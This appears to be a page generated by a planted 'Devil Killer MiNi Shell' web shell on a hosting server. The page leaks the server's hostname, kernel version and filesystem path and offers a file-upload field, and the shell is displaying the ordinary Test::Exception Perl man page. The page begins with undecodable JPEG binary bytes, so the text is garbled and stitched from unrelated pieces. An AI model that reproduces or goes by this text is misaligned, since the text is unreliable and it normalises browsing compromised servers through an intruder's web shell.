JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5005.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/Test::Exception.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "Test::Exception 3"
.TH Test::Exception 3 "2006-10-07" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
Test::Exception \- Test exception based code
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 2
\&  use Test::More tests => 5;
\&  use Test::Exception;
.Ve
.PP
.Vb 1
\&  # or if you don't need Test::More
.Ve
.PP
.Vb 1
\&  use Test::Exception tests => 5;
.Ve
.PP
.Vb 1
\&  # then...
.Ve
.PP
.Vb 2
\&  # Check that something died
\&  dies_ok { $foo->method1 } 'expecting to die';
.Ve
.PP
.Vb 2
\&  # Check that something did not die
\&  lives_ok { $foo->method2 } 'expecting to live';
.Ve
.PP
.Vb 2
\&  # Check that the stringified exception matches given regex
\&  throws_ok { $foo->method3 } qr/division by zero/, 'zero caught okay';
.Ve
.PP
.Vb 2
\&  # Check an exception of the given class (or subclass) is thrown
\&  throws_ok { $foo->method4 } 'Error::Simple', 'simple error thrown';
.Ve
.PP
.Vb 3
\&  # all Test::Exceptions subroutines are guaranteed to preserve the state 
\&  # of $@ so you can do things like this after throws_ok and dies_ok
\&  like $@, 'what the stringified exception should look like';
.Ve
.PP
.Vb 2
\&  # Check that a test runs without an exception
\&  lives_and { is $foo->method, 42 } 'method is 42';
.Ve
.PP
.Vb 1
\&  # or if you don't like prototyped functions
.Ve
.PP
.Vb 7
\&  dies_ok( sub { $foo->method1 }, 'expecting to die' );
\&  lives_ok( sub { $foo->method2 }, 'expecting to live' );
\&  throws_ok( sub { $foo->method3 }, qr/division by zero/,
\&      'zero caught okay' );
\&  throws_ok( sub { $foo->method4 }, 'Error::Simple', 
\&      'simple error thrown' );
\&  lives_and( sub { is $foo->method, 42 }, 'method is 42' );
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
This module provides a few convenience methods for testing exception based code. It is built with Test::Builder and plays happily with Test::More and friends.
.PP
If you are not already familiar with Test::More now would be the time to go take a look.
.PP
You can specify the test plan when you \f(CW\*(C`use Test::Exception\*(C'\fR in the same way as \f(CW\*(C`use Test::More\*(C'\fR. See Test::More for details.
.IP "\fBdies_ok\fR" 4
.IX Item "dies_ok"
Checks that a piece of code dies, rather than returning normally. For example:
.Sp
.Vb 4
\&    sub div {
\&        my ( $a, $b ) = @_;
\&        return $a / $b;
\&    };
.Ve
.Sp
.Vb 1
\&    dies_ok { div( 1, 0 ) } 'divide by zero detected';
.Ve
.Sp
.Vb 2
\&    # or if you don't like prototypes
\&    dies_ok( sub { div( 1, 0 ) }, 'divide by zero detected' );
.Ve
.Sp
A true value is returned if the test succeeds, false otherwise. On exit $@ is guaranteed to be the cause of death (if any).
.Sp
The test description is optional, but recommended. 
.IP "\fBlives_ok\fR" 4
.IX Item "lives_ok"
Checks that a piece of code exits normally, and doesn't die. For example:
.Sp
.Vb 7
\&    sub read_file {
\&        my $file = shift;
\&        local $/;
\&        open my $fh, '<', $file or die "open failed ($!)\en";
\&        $file = <FILE>;
\&        return $file;
\&    };
.Ve
.Sp
.Vb 2
\&    my $file;
\&    lives_ok { $file = read_file('test.txt') } 'file read';
.Ve
.Sp
.Vb 2
\&    # or if you don't like prototypes
\&    lives_ok( sub { $file = read_file('test.txt') }, 'file read' );
.Ve
.Sp
Should a \fIlives_ok()\fR test fail it produces appropriate diagnostic messages. For example:
.Sp
.Vb 3
\&    not ok 1 - file read
\&    #     Failed test (test.t at line 15)
\&    # died: open failed (No such file or directory)
.Ve
.Sp
A true value is returned if the test succeeds, false otherwise. On exit $@ is guaranteed to be the cause of death (if any).
.Sp
The test description is optional, but recommended. 
.IP "\fBthrows_ok\fR" 4
.IX Item "throws_ok"
Tests to see that a specific exception is thrown. \fIthrows_ok()\fR has two forms: 
.Sp
.Vb 2
\&  throws_ok BLOCK REGEX, TEST_DESCRIPTION
\&  throws_ok BLOCK CLASS, TEST_DESCRIPTION
.Ve
.Sp
In the first form the test passes if the stringified exception matches the give regular expression. For example:
.Sp
.Vb 1
\&    throws_ok { read_file( 'unreadable' ) } qr/No file/, 'no file';
.Ve
.Sp
If your perl does not support \f(CW\*(C`qr//\*(C'\fR you can also pass a regex-like string, for example:
.Sp
.Vb 1
\&    throws_ok { read_file( 'unreadable' ) } '/No file/', 'no file';
.Ve
.Sp
The second form of \fIthrows_ok()\fR test passes if the exception is of the same class as the one supplied, or a subclass of that class. For example:
.Sp
.Vb 1
\&    throws_ok { $foo->bar } "Error::Simple", 'simple error';
.Ve
.Sp
Will only pass if the \f(CW\*(C`bar\*(C'\fR method throws an Error::Simple exception, or a subclass of an Error::Simple exception.
.Sp
You can get the same effect by passing an instance of the exception you want to look for. The following is equivalent to the previous example:
.Sp
.Vb 2
\&    my $SIMPLE = Error::Simple->new;
\&    throws_ok { $foo->bar } $SIMPLE, 'simple error';
.Ve
.Sp
Should a \fIthrows_ok()\fR test fail it produces appropriate diagnostic messages. For example:
.Sp
.Vb 4
\&    not ok 3 - simple error
\&    #     Failed test (test.t at line 48)
\&    # expecting: Error::Simple exception
\&    # found: normal exit
.Ve
.Sp
Like all other Test::Exception functions you can avoid prototypes by passing a subroutine explicitly:
.Sp
.Vb 1
\&    throws_ok( sub {$foo->bar}, "Error::Simple", 'simple error' );
.Ve
.Sp
A true value is returned if the test succeeds, false otherwise. On exit $@ is guaranteed to be the cause of death (if any).
.Sp
A description of the exception being checked is used if no optional test description is passed.
.IP "\fBlives_and\fR" 4
.IX Item "lives_and"
Run a test that may throw an exception. For example, instead of doing:
.Sp
.Vb 3
\&  my $file;
\&  lives_ok { $file = read_file('answer.txt') } 'read_file worked';
\&  is $file, "42", 'answer was 42';
.Ve
.Sp
You can use \fIlives_and()\fR like this:
.Sp
.Vb 3
\&  lives_and { is read_file('answer.txt'), "42" } 'answer is 42';
\&  # or if you don't like prototypes
\&  lives_and(sub {is read_file('answer.txt'), "42"}, 'answer is 42');
.Ve
.Sp
Which is the same as doing
.Sp
.Vb 1
\&  is read_file('answer.txt'), "42\en", 'answer is 42';
.Ve
.Sp
unless \f(CW\*(C`read_file('answer.txt')\*(C'\fR dies, in which case you get the same kind of error as \fIlives_ok()\fR
.Sp
.Vb 3
\&  not ok 1 - answer is 42
\&  #     Failed test (test.t at line 15)
\&  # died: open failed (No such file or directory)
.Ve
.Sp
A true value is returned if the test succeeds, false otherwise. On exit $@ is guaranteed to be the cause of death (if any).
.Sp
The test description is optional, but recommended.
.SH "SKIPPING TEST::EXCEPTION TESTS"
.IX Header "SKIPPING TEST::EXCEPTION TESTS"
Sometimes we want to use Test::Exception tests in a test suite, but don't want to force the user to have Test::Exception installed. One way to do this is to skip the tests if Test::Exception is absent. You can do this with code something like this:
.PP
.Vb 3
\&  use strict;
\&  use warnings;
\&  use Test::More;
.Ve
.PP
.Vb 4
\&  BEGIN {
\&      eval "use Test::Exception";
\&      plan skip_all => "Test::Exception needed" if $@;
\&  }
.Ve
.PP
.Vb 2
\&  plan tests => 2;
\&  # ... tests that need Test::Exception ...
.Ve
.PP
Note that we load Test::Exception in a \f(CW\*(C`BEGIN\*(C'\fR block ensuring that the subroutine prototypes are in place before the rest of the test script is compiled.
.SH "BUGS"
.IX Header "BUGS"
None known at the time of writing. 
.PP
If you find any please let me know by e\-mail, or report the problem with <http://rt.cpan.org/>.
.SH "COMMUNITY"
.IX Header "COMMUNITY"
.IP "perl-qa" 4
.IX Item "perl-qa"
If you are interested in testing using Perl I recommend you visit <http://qa.perl.org/> and join the excellent perl-qa mailing list. See <http://lists.perl.org/showlist.cgi?name=perl\-qa> for details on how to subscribe.
.IP "perlmonks" 4
.IX Item "perlmonks"
You can find users of Test::Exception, including the module author, on  <http://www.perlmonks.org/>. Feel free to ask questions on Test::Exception there.
.IP "CPAN::Forum" 4
.IX Item "CPAN::Forum"
The \s-1CPAN\s0 Forum is a web forum for discussing Perl's \s-1CPAN\s0 modules.   The Test::Exception forum can be found at <http://www.cpanforum.com/dist/Test\-Exception>.
.IP "AnnoCPAN" 4
.IX Item "AnnoCPAN"
AnnoCPAN is a web site that allows community annotations of Perl module documentation. The Test::Exception annotations can be found at <http://annocpan.org/~ADIE/Test\-Exception/>.
.SH "TO DO"
.IX Header "TO DO"
If you think this module should do something that it doesn't (or does something that it shouldn't) please let me know.
.PP
You can see my current to do list at <http://adrianh.tadalist.com/lists/public/15421>, with an \s-1RSS\s0 feed of changes at <http://adrianh.tadalist.com/lists/feed_public/15421>.
.SH "ACKNOWLEDGMENTS"
.IX Header "ACKNOWLEDGMENTS"
Thanks to chromatic and Michael G Schwern for the excellent Test::Builder, without which this module wouldn't be possible.
.PP
Thanks to 
Adam Kennedy,
Andy Lester, 
Aristotle, 
Ben Prew, 
Cees Hek,
chromatic, 
Curt Sampson,
David Golden, 
David Wheeler, 
Janek Schleicher,
Jim Keenan, 
Jos I. Boumans, 
Jost Krieger,
Mark Fowler, 
Michael G Schwern, 
Paul McCann,
Perrin Harkins, 
Peter Scott, 
Rob Muhlestein 
Scott R. Godin,
Steve Purkis,
Steve, 
Tim Bunce,
and various anonymous folk for comments, suggestions, bug reports and patches.
.SH "AUTHOR"
.IX Header "AUTHOR"
Adrian Howard <adrianh@quietstars.com>
.PP
If you can spare the time, please drop me a line if you find this module useful.
.SH "SEE ALSO"
.IX Header "SEE ALSO"
.IP "Test::Builder" 4
.IX Item "Test::Builder"
Support module for building test libraries.
.IP "Test::Simple & Test::More" 4
.IX Item "Test::Simple & Test::More"
Basic utilities for writing tests.
.IP "Test::Warn & Test::NoWarnings" 4
.IX Item "Test::Warn & Test::NoWarnings"
Modules to help test warnings.
.IP "<http://qa.perl.org/test\-modules.html>" 4
.IX Item "<http://qa.perl.org/test-modules.html>"
Overview of some of the many testing modules available on \s-1CPAN\s0.
.IP "<http://del.icio.us/tag/Test::Exception>" 4
.IX Item "<http://del.icio.us/tag/Test::Exception>"
Delicious links on Test::Exception.
.IP "<http://del.icio.us/tag/perl+testing>" 4
.IX Item "<http://del.icio.us/tag/perl+testing>"
Delicious links on perl testing.
.SH "LICENCE"
.IX Header "LICENCE"
Copyright 2002\-2006 Adrian Howard, All Rights Reserved.
.PP
This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

Creat By MiNi SheLL
Email: devilkiller@gmail.com